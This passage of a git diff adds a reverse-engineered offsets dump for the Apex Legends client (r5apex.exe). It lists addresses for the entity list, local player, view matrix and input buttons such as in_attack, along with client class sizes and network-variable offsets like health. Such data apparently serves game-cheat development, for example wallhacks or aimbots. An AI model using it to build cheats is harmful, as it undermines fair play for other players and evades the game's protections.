.?AVeadpRespawnPresence@protocol@respawn@ea@com@@ +r5apex.exe!0x01eba680 .?AVp2pPayload@protocol@respawn@ea@com@@ +r5apex.exe!0x01eb8788 .?AVstl_critical_section_win7@details@Concurrency@@ +r5apex.exe!0x041a8d88 .?AVstl_critical_section_win7@details@Concurrency@@ +r5apex.exe!0x041a9de8 .?AVstl_critical_section_win7@details@Concurrency@@ +``` + diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump] [offsets] [tools]/apex_offsets.txt" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump] [offsets] [tools]/apex_offsets.txt" new file mode 100644 index 0000000..e0b6161 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[dump] [offsets] [tools]/apex_offsets.txt" @@ -0,0 +1,36542 @@ +## Interfaces + +``` +r5apex.exe!0x01195318 ClientRenderTargets001 +r5apex.exe!0x0118a7a8 EngineTraceClient004 +r5apex.exe!0x01189278 EngineTraceClientDecals004 +r5apex.exe!0x01889100 EventSystem001 +r5apex.exe!0x01e6ef40 GameUI011 +r5apex.exe!0x0118d888 ISoundC002 +r5apex.exe!0x01ca1338 RunGameEngine005 +r5apex.exe!0x012e4a80 ShaderSystem002 +r5apex.exe!0x01895210 VClient018 +r5apex.exe!0x01b2d3f8 VClientEntityList003 +r5apex.exe!0x01e6def0 VClientPrediction001 +r5apex.exe!0x0118c1c0 VCvarQuery001 +r5apex.exe!0x0118a8f0 VDebugOverlay004 +r5apex.exe!0x0118e978 VENGINE_GAMEUIFUNCS_VERSION005 +r5apex.exe!0x012d1c30 VENGINE_LAUNCHER_API_VERSION004 +r5apex.exe!0x01198bf0 VEngineModel016 +r5apex.exe!0x0118cd58 VEngineRandom001 +r5apex.exe!0x0118c6a8 VEngineRenderView013 +r5apex.exe!0x01e8d310 VGUI_System010 +r5apex.exe!0x0118f188 VMaterialSystemConfig004 +``` + +## Miscellaneous + +``` +TimeDateStamp = 0x5f6d432f +CheckSum = 0x1fc1a53 +GameVersion = "v3.0.4.150" +NUM_ENT_ENTRIES = 0x10000 +r5apex.exe!0x18ad3a8 cl_entitylist +r5apex.exe!0x1191ebc LocalEntityHandle +r5apex.exe!0x1c5bcc8 LocalPlayer +r5apex.exe!0x1261c80 GlobalVars +r5apex.exe!0x40d5d98 ViewRender + 0x1b3bd0 ViewMatrix +r5apex.exe!0x1261f80 ClientState +r5apex.exe!0x1262018 SignonState +r5apex.exe!0x1262130 LevelName +CWeaponX!0x1e0c m_flProjectileSpeed +CWeaponX!0x1e14 m_flProjectileScale +``` + +## Buttons + +These are addresses to global instances of the [`kbutton_t`](https://github.com/ValveSoftware/source-sdk-2013/blob/master/mp/src/game/client/kbutton.h#L14-L20) struct. + +``` +r5apex.exe!0x040d5e68 kbutton_t in_attack +r5apex.exe!0x040d5e00 kbutton_t in_backward +r5apex.exe!0x081685e0 kbutton_t in_break +r5apex.exe!0x08566980 kbutton_t in_camin +r5apex.exe!0x08168920 kbutton_t in_camout +r5apex.exe!0x081688d0 kbutton_t in_campitchdown +r5apex.exe!0x08566a08 kbutton_t in_campitchup +r5apex.exe!0x08168958 kbutton_t in_camyawleft +r5apex.exe!0x08168900 kbutton_t in_camyawright +r5apex.exe!0x040d5e28 kbutton_t in_commandermousemove +r5apex.exe!0x040d5ef8 kbutton_t in_dodge +r5apex.exe!0x08168600 kbutton_t in_duck +r5apex.exe!0x040d5dd8 kbutton_t in_forward +r5apex.exe!0x040d5e78 kbutton_t in_graph +r5apex.exe!0x040d5ee0 kbutton_t in_jump +r5apex.exe!0x085669e0 kbutton_t in_klook +r5apex.exe!0x08168940 kbutton_t in_left +r5apex.exe!0x081688f0 kbutton_t in_lookdown +r5apex.exe!0x081685f0 kbutton_t in_lookup +r5apex.exe!0x085669f0 kbutton_t in_melee +r5apex.exe!0x08168968 kbutton_t in_movedown +r5apex.exe!0x040d5dc8 kbutton_t in_moveleft +r5apex.exe!0x040d5df0 kbutton_t in_moveright +r5apex.exe!0x085669c0 kbutton_t in_moveup +r5apex.exe!0x085669d0 kbutton_t in_offhand0 +r5apex.exe!0x08168930 kbutton_t in_offhand1 +r5apex.exe!0x081686f8 kbutton_t in_offhand2 +r5apex.exe!0x081686d8 kbutton_t in_offhand3 +r5apex.exe!0x08168690 kbutton_t in_offhand4 +r5apex.exe!0x040d5ec8 kbutton_t in_pause_menu +r5apex.exe!0x040d5e38 kbutton_t in_ping +r5apex.exe!0x040d5e88 kbutton_t in_reload +r5apex.exe!0x08168910 kbutton_t in_right +r5apex.exe!0x08168708 kbutton_t in_score +r5apex.exe!0x08168708 kbutton_t in_showscores +r5apex.exe!0x040d5e10 kbutton_t in_speed +r5apex.exe!0x040d5e98 kbutton_t in_strafe +r5apex.exe!0x085669a0 kbutton_t in_toggle_duck +r5apex.exe!0x08566990 kbutton_t in_toggle_zoom +r5apex.exe!0x081686e8 kbutton_t in_use +r5apex.exe!0x08168680 kbutton_t in_useAndReload +r5apex.exe!0x085669b0 kbutton_t in_use_alt +r5apex.exe!0x08168670 kbutton_t in_use_long +r5apex.exe!0x040d5eb0 kbutton_t in_variableScopeToggle +r5apex.exe!0x081686b0 kbutton_t in_walk +r5apex.exe!0x081688e0 kbutton_t in_weaponCycle +r5apex.exe!0x081686a0 kbutton_t in_weapon_discard +r5apex.exe!0x081686c8 kbutton_t in_zoom +``` + +## ClientClasses + +
+client_class CAI_BaseNPC + +class_id: `0` +sizeof: `7488` +
+
+client_class CAmbientGeneric + +class_id: `1` +sizeof: `2752` +
+
+client_class CBaseAnimating + +class_id: `2` +sizeof: `5632` +
+
+client_class CBaseAnimatingOverlay + +class_id: `3` +sizeof: `6528` +
+
+client_class CBaseButton + +class_id: `0` +sizeof: `2752` +
+
+client_class CBaseCombatCharacter + +class_id: `4` +sizeof: `7040` +
+
+client_class CBaseEntity + +class_id: `5` +sizeof: `2624` +
+
+client_class CBaseGrenade + +class_id: `6` +sizeof: `11520` +
+
+client_class CBaseParticleEntity + +class_id: `0` +sizeof: `2624` +
+
+client_class CBaseTempEntity + +class_id: `7` +sizeof: `40` +
+
+client_class CBaseToggle + +class_id: `8` +sizeof: `2688` +
+
+client_class CBaseTrigger + +class_id: `9` +sizeof: `2752` +
+
+client_class CBaseVPhysicsTrigger + +class_id: `11` +sizeof: `2688` +
+
+client_class CBaseViewModel + +class_id: `10` +sizeof: `20352` +
+
+client_class CBoneFollower + +class_id: `12` +sizeof: `2688` +
+
+client_class CBreakableProp + +class_id: `13` +sizeof: `5632` +
+
+client_class CBreakableSurface + +class_id: `14` +sizeof: `3776` +
+
+client_class CCascadeLight + +class_id: `15` +sizeof: `3008` +
+
+client_class CColorCorrection + +class_id: `16` +sizeof: `3008` +
+
+client_class CCrossbowBolt + +class_id: `17` +sizeof: `11392` +
+
+client_class CDeathBoxProp + +class_id: `18` +sizeof: `5760` +
+
+client_class CDynamicLight + +class_id: `19` +sizeof: `2688` +
+
+client_class CDynamicProp + +class_id: `20` +sizeof: `5696` +
+
+client_class CDynamicPropLightweight + +class_id: `21` +sizeof: `5696` +
+
+client_class CEntityBlocker + +class_id: `22` +sizeof: `2624` +
+
+client_class CEntityDissolve + +class_id: `23` +sizeof: `2688` +
+
+client_class CEntityLinkPage + +class_id: `24` +sizeof: `4736` +
+
+client_class CEnvDecoy + +class_id: `25` +sizeof: `5632` +
+
+client_class CEnvWind + +class_id: `26` +sizeof: `3008` +
+
+client_class CFirstPersonProxy + +class_id: `27` +sizeof: `5760` +
+
+client_class CFuncBrush + +class_id: `28` +sizeof: `2752` +
+
+client_class CFuncBrushLightweight + +class_id: `29` +sizeof: `2752` +
+
+client_class CFuncMoveLinear + +class_id: `30` +sizeof: `2688` +
+
+client_class CGameRulesProxy + +class_id: `31` +sizeof: `2624` +
+
+client_class CGlobalNonRewinding + +class_id: `32` +sizeof: `4736` +
+
+client_class CGrappleHook + +class_id: `33` +sizeof: `5696` +
+
+client_class CHardPointEntity + +class_id: `34` +sizeof: `2688` +
+
+client_class CHardPointFrontierEntity + +class_id: `35` +sizeof: `2688` +
+
+client_class CHealthKit + +class_id: `36` +sizeof: `5632` +
+
+client_class CImportantOnEntSound + +class_id: `37` +sizeof: `2688` +
+
+client_class CInfoPlacementHelper + +class_id: `38` +sizeof: `2688` +
+
+client_class CInfoTarget + +class_id: `39` +sizeof: `2624` +
+
+client_class CInfoTargetGravity + +class_id: `40` +sizeof: `2688` +
+
+client_class CInfoTargetMinimap + +class_id: `41` +sizeof: `2624` +
+
+client_class CLootGrabber + +class_id: `42` +sizeof: `5760` +
+
+client_class CMissile + +class_id: `43` +sizeof: `11712` +
+
+client_class CMovieDisplay + +class_id: `44` +sizeof: `3008` +
+
+client_class CNPC_Drone + +class_id: `45` +sizeof: `7552` +
+
+client_class CNPC_Dropship + +class_id: `46` +sizeof: `7616` +
+
+client_class CNPC_SentryTurret + +class_id: `47` +sizeof: `7552` +
+
+client_class CNPC_Titan + +class_id: `48` +sizeof: `7680` +
+
+client_class CParticleSystem + +class_id: `49` +sizeof: `2816` +
+
+client_class CPhysicsProp + +class_id: `50` +sizeof: `5760` +
+
+client_class CPlayer + +class_id: `51` +sizeof: `17472` +
+
+client_class CPlayerDecoy + +class_id: `52` +sizeof: `5760` +
+
+client_class CPlayerTasklist + +class_id: `53` +sizeof: `4032` +
+
+client_class CPlayerVehicle + +class_id: `54` +sizeof: `7360` +
+
+client_class CPlayerWaypoint + +class_id: `55` +sizeof: `3392` +
+
+client_class CPointCamera + +class_id: `56` +sizeof: `2816` +
+
+client_class CPortal_PointPush + +class_id: `57` +sizeof: `2688` +
+
+client_class CPostProcessController + +class_id: `58` +sizeof: `2688` +
+
+client_class CPredictedFirstPersonProxy + +class_id: `59` +sizeof: `5824` +
+
+client_class CProjectile + +class_id: `60` +sizeof: `11328` +
+
+client_class CPropDoor + +class_id: `61` +sizeof: `5888` +
+
+client_class CPropSurvival + +class_id: `62` +sizeof: `5696` +
+
+client_class CRopeKeyframe + +class_id: `63` +sizeof: `3904` +
+
+client_class CScriptMover + +class_id: `64` +sizeof: `6272` +
+
+client_class CScriptMoverTrainNode + +class_id: `65` +sizeof: `4224` +
+
+client_class CScriptNetData + +class_id: `66` +sizeof: `3200` +
+
+client_class CScriptNetDataGlobal + +class_id: `74` +sizeof: `3520` +
+
+client_class CScriptNetDataGlobalNonRewind + +class_id: `75` +sizeof: `3520` +
+
+client_class CScriptNetData_SNDC_DEATH_BOX + +class_id: `67` +sizeof: `3328` +
+
+client_class CScriptNetData_SNDC_GLOBAL + +class_id: `68` +sizeof: `3520` +
+
+client_class CScriptNetData_SNDC_GLOBAL_NON_REWIND + +class_id: `69` +sizeof: `3520` +
+
+client_class CScriptNetData_SNDC_PLAYER_EXCLUSIVE + +class_id: `70` +sizeof: `3456` +
+
+client_class CScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED + +class_id: `71` +sizeof: `3520` +
+
+client_class CScriptNetData_SNDC_PLAYER_GLOBAL + +class_id: `72` +sizeof: `3456` +
+
+client_class CScriptNetData_SNDC_TITAN_SOUL + +class_id: `73` +sizeof: `3328` +
+
+client_class CScriptProp + +class_id: `76` +sizeof: `5888` +
+
+client_class CScriptTraceVolume + +class_id: `77` +sizeof: `2688` +
+
+client_class CShieldProp + +class_id: `78` +sizeof: `5760` +
+
+client_class CSkyCamera + +class_id: `79` +sizeof: `2624` +
+
+client_class CStatueProp + +class_id: `0` +sizeof: `5824` +
+
+client_class CStatusEffectPlugin + +class_id: `80` +sizeof: `2688` +
+
+client_class CTEBreakModel + +class_id: `82` +sizeof: `112` +
+
+client_class CTEEffectDispatch + +class_id: `83` +sizeof: `208` +
+
+client_class CTEExplosion + +class_id: `84` +sizeof: `128` +
+
+client_class CTEGibEvent + +class_id: `85` +sizeof: `56` +
+
+client_class CTEParticleSystem + +class_id: `86` +sizeof: `56` +
+
+client_class CTEPhysicsProp + +class_id: `87` +sizeof: `96` +
+
+client_class CTEProjectileTrail + +class_id: `88` +sizeof: `88` +
+
+client_class CTEScriptParticleSystem + +class_id: `89` +sizeof: `80` +
+
+client_class CTEScriptParticleSystemOnEntity + +class_id: `90` +sizeof: `64` +
+
+client_class CTEScriptParticleSystemOnEntityWithPos + +class_id: `91` +sizeof: `88` +
+
+client_class CTEShatterSurface + +class_id: `92` +sizeof: `104` +
+
+client_class CTESoundDispatch + +class_id: `93` +sizeof: `72` +
+
+client_class CTeam + +class_id: `81` +sizeof: `3008` +
+
+client_class CTitanSoul + +class_id: `94` +sizeof: `3520` +
+
+client_class CTriggerCylinderHeavy + +class_id: `95` +sizeof: `2944` +
+
+client_class CTriggerNoGrapple + +class_id: `96` +sizeof: `2752` +
+
+client_class CTriggerNoZipline + +class_id: `97` +sizeof: `2752` +
+
+client_class CTriggerPlayerMovement + +class_id: `98` +sizeof: `2816` +
+
+client_class CTriggerPointGravity + +class_id: `99` +sizeof: `2816` +
+
+client_class CTriggerSlip + +class_id: `100` +sizeof: `2816` +
+
+client_class CTriggerUpdraft + +class_id: `101` +sizeof: `2752` +
+
+client_class CTurret + +class_id: `102` +sizeof: `6720` +
+
+client_class CVGuiScreen + +class_id: `103` +sizeof: `2816` +
+
+client_class CVortexSphere + +class_id: `104` +sizeof: `2752` +
+
+client_class CWaterLODControl + +class_id: `105` +sizeof: `2688` +
+
+client_class CWeaponX + +class_id: `106` +sizeof: `26304` +
+
+client_class CWorld + +class_id: `107` +sizeof: `4928` +
+
+client_class CZipline + +class_id: `108` +sizeof: `4224` +
+
+client_class CZiplineEnd + +class_id: `109` +sizeof: `2688` +
+
+client_class DoorMover + +class_id: `110` +sizeof: `6336` +
+
+client_class ScriptMoverLightweight + +class_id: `111` +sizeof: `6336` +
+
+client_class Titan_Cockpit + +class_id: `0` +sizeof: `6144` +
+ +### Addresses + +``` +r5apex.exe!0x011987f8 ClientClass CAI_BaseNPC +r5apex.exe!0x01195b88 ClientClass CAmbientGeneric +r5apex.exe!0x01191cd8 ClientClass CBaseAnimating +r5apex.exe!0x011971d8 ClientClass CBaseAnimatingOverlay +r5apex.exe!0x011986b8 ClientClass CBaseButton +r5apex.exe!0x01193308 ClientClass CBaseCombatCharacter +r5apex.exe!0x01e72878 ClientClass CBaseEntity +r5apex.exe!0x012cd258 ClientClass CBaseGrenade +r5apex.exe!0x01c9d3f8 ClientClass CBaseParticleEntity +r5apex.exe!0x01198438 ClientClass CBaseTempEntity +r5apex.exe!0x011978f8 ClientClass CBaseToggle +r5apex.exe!0x0119f1e8 ClientClass CBaseTrigger +r5apex.exe!0x01198b18 ClientClass CBaseVPhysicsTrigger +r5apex.exe!0x01c3d1b8 ClientClass CBaseViewModel +r5apex.exe!0x01191a78 ClientClass CBoneFollower +r5apex.exe!0x01192868 ClientClass CBreakableProp +r5apex.exe!0x01195278 ClientClass CBreakableSurface +r5apex.exe!0x011927c8 ClientClass CCascadeLight +r5apex.exe!0x01198118 ClientClass CColorCorrection +r5apex.exe!0x01e5d568 ClientClass CCrossbowBolt +r5apex.exe!0x011922c8 ClientClass CDeathBoxProp +r5apex.exe!0x01197d58 ClientClass CDynamicLight +r5apex.exe!0x011981b8 ClientClass CDynamicProp +r5apex.exe!0x01192408 ClientClass CDynamicPropLightweight +r5apex.exe!0x01c55b18 ClientClass CEntityBlocker +r5apex.exe!0x01195f88 ClientClass CEntityDissolve +r5apex.exe!0x0119d388 ClientClass CEntityLinkPage +r5apex.exe!0x01c98630 ClientClass CEnvDecoy +r5apex.exe!0x01192688 ClientClass CEnvWind +r5apex.exe!0x01e5bc68 ClientClass CFirstPersonProxy +r5apex.exe!0x01196968 ClientClass CFuncBrush +r5apex.exe!0x01194ac8 ClientClass CFuncBrushLightweight +r5apex.exe!0x01193dd8 ClientClass CFuncMoveLinear +r5apex.exe!0x01c8e870 ClientClass CGameRulesProxy +r5apex.exe!0x01c45918 ClientClass CGlobalNonRewinding +r5apex.exe!0x01e5e458 ClientClass CGrappleHook +r5apex.exe!0x01199e28 ClientClass CHardPointEntity +r5apex.exe!0x0119b6c8 ClientClass CHardPointFrontierEntity +r5apex.exe!0x01c9d4d8 ClientClass CHealthKit +r5apex.exe!0x0125fdb8 ClientClass CImportantOnEntSound +r5apex.exe!0x01ca3888 ClientClass CInfoPlacementHelper +r5apex.exe!0x01c8af38 ClientClass CInfoTarget +r5apex.exe!0x012cb858 ClientClass CInfoTargetGravity +r5apex.exe!0x01c3f9a8 ClientClass CInfoTargetMinimap +r5apex.exe!0x01197e98 ClientClass CLootGrabber +r5apex.exe!0x01e59468 ClientClass CMissile +r5apex.exe!0x01192f48 ClientClass CMovieDisplay +r5apex.exe!0x01193d38 ClientClass CNPC_Drone +r5apex.exe!0x01193ae8 ClientClass CNPC_Dropship +r5apex.exe!0x011924a8 ClientClass CNPC_SentryTurret +r5apex.exe!0x01195868 ClientClass CNPC_Titan +r5apex.exe!0x01195cc8 ClientClass CParticleSystem +r5apex.exe!0x01197748 ClientClass CPhysicsProp +r5apex.exe!0x01191e18 ClientClass CPlayer +r5apex.exe!0x01c9d3c0 ClientClass CPlayerDecoy +r5apex.exe!0x01c99998 ClientClass CPlayerTasklist +r5apex.exe!0x0119c8e8 ClientClass CPlayerVehicle +r5apex.exe!0x01c998f0 ClientClass CPlayerWaypoint +r5apex.exe!0x011957c8 ClientClass CPointCamera +r5apex.exe!0x01ca3988 ClientClass CPortal_PointPush +r5apex.exe!0x01192548 ClientClass CPostProcessController +r5apex.exe!0x01e59ea8 ClientClass CPredictedFirstPersonProxy +r5apex.exe!0x01e5f138 ClientClass CProjectile +r5apex.exe!0x012d2fe8 ClientClass CPropDoor +r5apex.exe!0x01194d08 ClientClass CPropSurvival +r5apex.exe!0x01c93be8 ClientClass CRopeKeyframe +r5apex.exe!0x01c9c940 ClientClass CScriptMover +r5apex.exe!0x01c93bb0 ClientClass CScriptMoverTrainNode +r5apex.exe!0x01c9a9c8 ClientClass CScriptNetData +r5apex.exe!0x01c98668 ClientClass CScriptNetDataGlobal +r5apex.exe!0x01c9c978 ClientClass CScriptNetDataGlobalNonRewind +r5apex.exe!0x01c937f8 ClientClass CScriptNetData_SNDC_DEATH_BOX +r5apex.exe!0x01c99928 ClientClass CScriptNetData_SNDC_GLOBAL +r5apex.exe!0x01c937c0 ClientClass CScriptNetData_SNDC_GLOBAL_NON_REWIND +r5apex.exe!0x01c993a0 ClientClass CScriptNetData_SNDC_PLAYER_EXCLUSIVE +r5apex.exe!0x01c9c598 ClientClass CScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED +r5apex.exe!0x01c991f0 ClientClass CScriptNetData_SNDC_PLAYER_GLOBAL +r5apex.exe!0x01c99960 ClientClass CScriptNetData_SNDC_TITAN_SOUL +r5apex.exe!0x011945d8 ClientClass CScriptProp +r5apex.exe!0x01e587a8 ClientClass CScriptTraceVolume +r5apex.exe!0x01192368 ClientClass CShieldProp +r5apex.exe!0x01e72448 ClientClass CSkyCamera +r5apex.exe!0x01197f38 ClientClass CStatueProp +r5apex.exe!0x01c9a990 ClientClass CStatusEffectPlugin +r5apex.exe!0x0119cfb8 ClientClass CTEBreakModel +r5apex.exe!0x01199898 ClientClass CTEEffectDispatch +r5apex.exe!0x01199618 ClientClass CTEExplosion +r5apex.exe!0x011973b8 ClientClass CTEGibEvent +r5apex.exe!0x0125fc78 ClientClass CTEParticleSystem +r5apex.exe!0x0119acc8 ClientClass CTEPhysicsProp +r5apex.exe!0x01e652e8 ClientClass CTEProjectileTrail +r5apex.exe!0x01c45638 ClientClass CTEScriptParticleSystem +r5apex.exe!0x01c43868 ClientClass CTEScriptParticleSystemOnEntity +r5apex.exe!0x01c8cac0 ClientClass CTEScriptParticleSystemOnEntityWithPos +r5apex.exe!0x0119f028 ClientClass CTEShatterSurface +r5apex.exe!0x01198bb8 ClientClass CTESoundDispatch +r5apex.exe!0x0125fd18 ClientClass CTeam +r5apex.exe!0x011939a8 ClientClass CTitanSoul +r5apex.exe!0x01c99228 ClientClass CTriggerCylinderHeavy +r5apex.exe!0x01199038 ClientClass CTriggerNoGrapple +r5apex.exe!0x0119e6c8 ClientClass CTriggerNoZipline +r5apex.exe!0x01c9c748 ClientClass CTriggerPlayerMovement +r5apex.exe!0x01c9a748 ClientClass CTriggerPointGravity +r5apex.exe!0x01c993d8 ClientClass CTriggerSlip +r5apex.exe!0x0119afc8 ClientClass CTriggerUpdraft +r5apex.exe!0x01e5c588 ClientClass CTurret +r5apex.exe!0x012600b8 ClientClass CVGuiScreen +r5apex.exe!0x01e5e818 ClientClass CVortexSphere +r5apex.exe!0x0119c448 ClientClass CWaterLODControl +r5apex.exe!0x01e6fe68 ClientClass CWeaponX +r5apex.exe!0x01260018 ClientClass CWorld +r5apex.exe!0x01e71ec8 ClientClass CZipline +r5apex.exe!0x01e719a8 ClientClass CZiplineEnd +r5apex.exe!0x01c97918 ClientClass DoorMover +r5apex.exe!0x01c9c710 ClientClass ScriptMoverLightweight +r5apex.exe!0x01ca4108 ClientClass Titan_Cockpit +``` + +## RecvTables + +
+class DT_AI_BaseNPC extends DT_BaseCombatCharacter + +``` +{ + statuseffectsdata_npc: DT_AI_BaseNPC_StatusEffects, + m_localOrigin: Vector, + m_hGroundEntity: Int, + m_iHealth: Int, + m_localAngles: Vector, + m_iMaxHealth: Int, + m_lifeState: Int, + m_inventory: DT_WeaponInventoryActiveWeaponOnly, + m_fireteamSlotIndex: Int, + m_aiSprinting: Int, + m_aiNetworkFlags: Int, + m_isHologram: Int, + m_title: String, + m_aiSettingsIndex: Int, + m_subclass: Int, +} +``` + +### Offsets + +``` +DT_AI_BaseNPC!0x0000 statuseffectsdata_npc +DT_AI_BaseNPC!0x0004 m_localOrigin +DT_AI_BaseNPC!0x041c m_hGroundEntity +DT_AI_BaseNPC!0x0420 m_iHealth +DT_AI_BaseNPC!0x046c m_localAngles +DT_AI_BaseNPC!0x0550 m_iMaxHealth +DT_AI_BaseNPC!0x0770 m_lifeState +DT_AI_BaseNPC!0x19b0 m_inventory +DT_AI_BaseNPC!0x1b80 m_fireteamSlotIndex +DT_AI_BaseNPC!0x1cea m_aiSprinting +DT_AI_BaseNPC!0x1d0c m_aiNetworkFlags +DT_AI_BaseNPC!0x1d10 m_isHologram +DT_AI_BaseNPC!0x1d11 m_title +DT_AI_BaseNPC!0x1d34 m_aiSettingsIndex +DT_AI_BaseNPC!0x1d38 m_subclass +``` +
+
+class DT_AI_BaseNPC_StatusEffects + +``` +{ + m_statusEffectsTimedNPCNV: DataTable, + m_statusEffectsEndlessNPCNV: DataTable, +} +``` + +### Offsets + +``` +DT_AI_BaseNPC_StatusEffects!0x1b88 m_statusEffectsTimedNPCNV +DT_AI_BaseNPC_StatusEffects!0x1bd0 m_statusEffectsEndlessNPCNV +``` +
+
+class DT_AmbientGeneric extends DT_BaseEntity + +``` +{ + m_radius: Float, + m_isEnabled: Int, + m_networkTableSoundID: Int, + m_networkedSegmentEndpointWorldSpace: Vector, + m_hasPolylineSegments: Int, +} +``` + +### Offsets + +``` +DT_AmbientGeneric!0x0a40 m_radius +DT_AmbientGeneric!0x0a44 m_isEnabled +DT_AmbientGeneric!0x0a50 m_networkTableSoundID +DT_AmbientGeneric!0x0a58 m_networkedSegmentEndpointWorldSpace +DT_AmbientGeneric!0x0a64 m_hasPolylineSegments +``` +
+
+class DT_AnimRelativeData + +``` +{ + m_animInitialPos: Vector, + m_animInitialVel: Vector, + m_animInitialRot: Rotation, + m_animInitialCorrectPos: Vector, + m_animInitialCorrectRot: Rotation, + m_animEntityToRefOffset: Vector, + m_animEntityToRefRotation: Rotation, + m_animBlendBeginTime: Time, + m_animBlendEndTime: Time, + m_animScriptSequence: Int, + m_animScriptModel: Int, + m_animIgnoreParentRot: Int, + m_animMotionMode: Int, +} +``` + +### Offsets + +``` +DT_AnimRelativeData!0x0000 m_animInitialPos +DT_AnimRelativeData!0x000c m_animInitialVel +DT_AnimRelativeData!0x0018 m_animInitialRot +DT_AnimRelativeData!0x0028 m_animInitialCorrectPos +DT_AnimRelativeData!0x0034 m_animInitialCorrectRot +DT_AnimRelativeData!0x0044 m_animEntityToRefOffset +DT_AnimRelativeData!0x0050 m_animEntityToRefRotation +DT_AnimRelativeData!0x0060 m_animBlendBeginTime +DT_AnimRelativeData!0x0064 m_animBlendEndTime +DT_AnimRelativeData!0x0068 m_animScriptSequence +DT_AnimRelativeData!0x006c m_animScriptModel +DT_AnimRelativeData!0x0070 m_animIgnoreParentRot +DT_AnimRelativeData!0x0074 m_animMotionMode +``` +
+
+class DT_BaseAnimating extends DT_BaseEntity + +``` +{ + serveranimdata: DT_ServerAnimationData, + m_animPlaybackRate: Float, + m_animFrozen: Int, + m_animModelIndex: Int, + m_nNewSequenceParity: Int, + m_flPoseParameter: DataTable, + m_bClientSideRagdoll: Int, + m_vecForce: Vector, + m_flEstIkOffset: Float, + m_passDamageToParent: Int, + m_animNetworkFlags: Int, + m_animActive: Int, + m_animCollisionEnabled: Int, + m_animRelativeToGroundEnabled: Int, + m_animPlantingEnabled: Int, + m_animRelativeData: DT_AnimRelativeData, + m_syncingWithEntity: Int, + m_predictedAnimEventData: DT_PredictedAnimEventData, + m_nRagdollImpactFXTableId: Int, + m_flSkyScaleStartValue: Float, + m_flSkyScaleEndValue: Float, + m_flSkyScaleStartTime: Time, + m_flSkyScaleEndTime: Time, + m_SequenceTransitioner: DT_SequenceTransitioner, + m_nSkin: Int, + m_skinMod: Int, + m_nBody: Int, + m_camoIndex: Int, + m_nForceBone: Int, + m_bSequenceFinished: Int, + m_lockedAnimDeltaYaw: Float, + m_flModelScale: Float, +} +``` + +### Offsets + +``` +DT_BaseAnimating!0x0000 serveranimdata +DT_BaseAnimating!0x0010 m_animPlaybackRate +DT_BaseAnimating!0x0014 m_animFrozen +DT_BaseAnimating!0x0018 m_animModelIndex +DT_BaseAnimating!0x0020 m_nNewSequenceParity +DT_BaseAnimating!0x0024 m_flPoseParameter +DT_BaseAnimating!0x0084 m_bClientSideRagdoll +DT_BaseAnimating!0x0088 m_vecForce +DT_BaseAnimating!0x0094 m_flEstIkOffset +DT_BaseAnimating!0x079c m_passDamageToParent +DT_BaseAnimating!0x0a68 m_animNetworkFlags +DT_BaseAnimating!0x0a6c m_animActive +DT_BaseAnimating!0x0a6f m_animCollisionEnabled +DT_BaseAnimating!0x0a70 m_animRelativeToGroundEnabled +DT_BaseAnimating!0x0a71 m_animPlantingEnabled +DT_BaseAnimating!0x0a74 m_animRelativeData +DT_BaseAnimating!0x0b64 m_syncingWithEntity +DT_BaseAnimating!0x0b68 m_predictedAnimEventData +DT_BaseAnimating!0x0bd4 m_nRagdollImpactFXTableId +DT_BaseAnimating!0x0bd8 m_flSkyScaleStartValue +DT_BaseAnimating!0x0bdc m_flSkyScaleEndValue +DT_BaseAnimating!0x0be0 m_flSkyScaleStartTime +DT_BaseAnimating!0x0be4 m_flSkyScaleEndTime +DT_BaseAnimating!0x0c00 m_SequenceTransitioner +DT_BaseAnimating!0x0e88 m_nSkin +DT_BaseAnimating!0x0e8c m_skinMod +DT_BaseAnimating!0x0e90 m_nBody +DT_BaseAnimating!0x0e94 m_camoIndex +DT_BaseAnimating!0x0ed0 m_nForceBone +DT_BaseAnimating!0x0f34 m_bSequenceFinished +DT_BaseAnimating!0x0f38 m_lockedAnimDeltaYaw +DT_BaseAnimating!0x0f40 m_flModelScale +``` +
+
+class DT_BaseAnimatingOverlay extends DT_BaseAnimating + +``` +{ + overlay_vars: DT_OverlayVars, + m_animOverlayIsActive: DataTable, + m_animOverlayStartTime: DataTable, + m_animOverlayStartCycle: DataTable, + m_animOverlayPlaybackRate: DataTable, + m_animOverlayModelIndex: DataTable, + m_animOverlaySequence: DataTable, + m_animOverlayWeight: DataTable, + m_animOverlayOrder: DataTable, + m_animOverlayAnimTime: DataTable, + m_animOverlayFadeInDuration: DataTable, + m_animOverlayFadeOutDuration: DataTable, +} +``` + +### Offsets + +``` +DT_BaseAnimatingOverlay!0x0000 overlay_vars +DT_BaseAnimatingOverlay!0x0008 m_animOverlayIsActive +DT_BaseAnimatingOverlay!0x0014 m_animOverlayStartTime +DT_BaseAnimatingOverlay!0x0038 m_animOverlayStartCycle +DT_BaseAnimatingOverlay!0x005c m_animOverlayPlaybackRate +DT_BaseAnimatingOverlay!0x0080 m_animOverlayModelIndex +DT_BaseAnimatingOverlay!0x00a4 m_animOverlaySequence +DT_BaseAnimatingOverlay!0x00c8 m_animOverlayWeight +DT_BaseAnimatingOverlay!0x00ec m_animOverlayOrder +DT_BaseAnimatingOverlay!0x0110 m_animOverlayAnimTime +DT_BaseAnimatingOverlay!0x0134 m_animOverlayFadeInDuration +DT_BaseAnimatingOverlay!0x0158 m_animOverlayFadeOutDuration +``` +
+
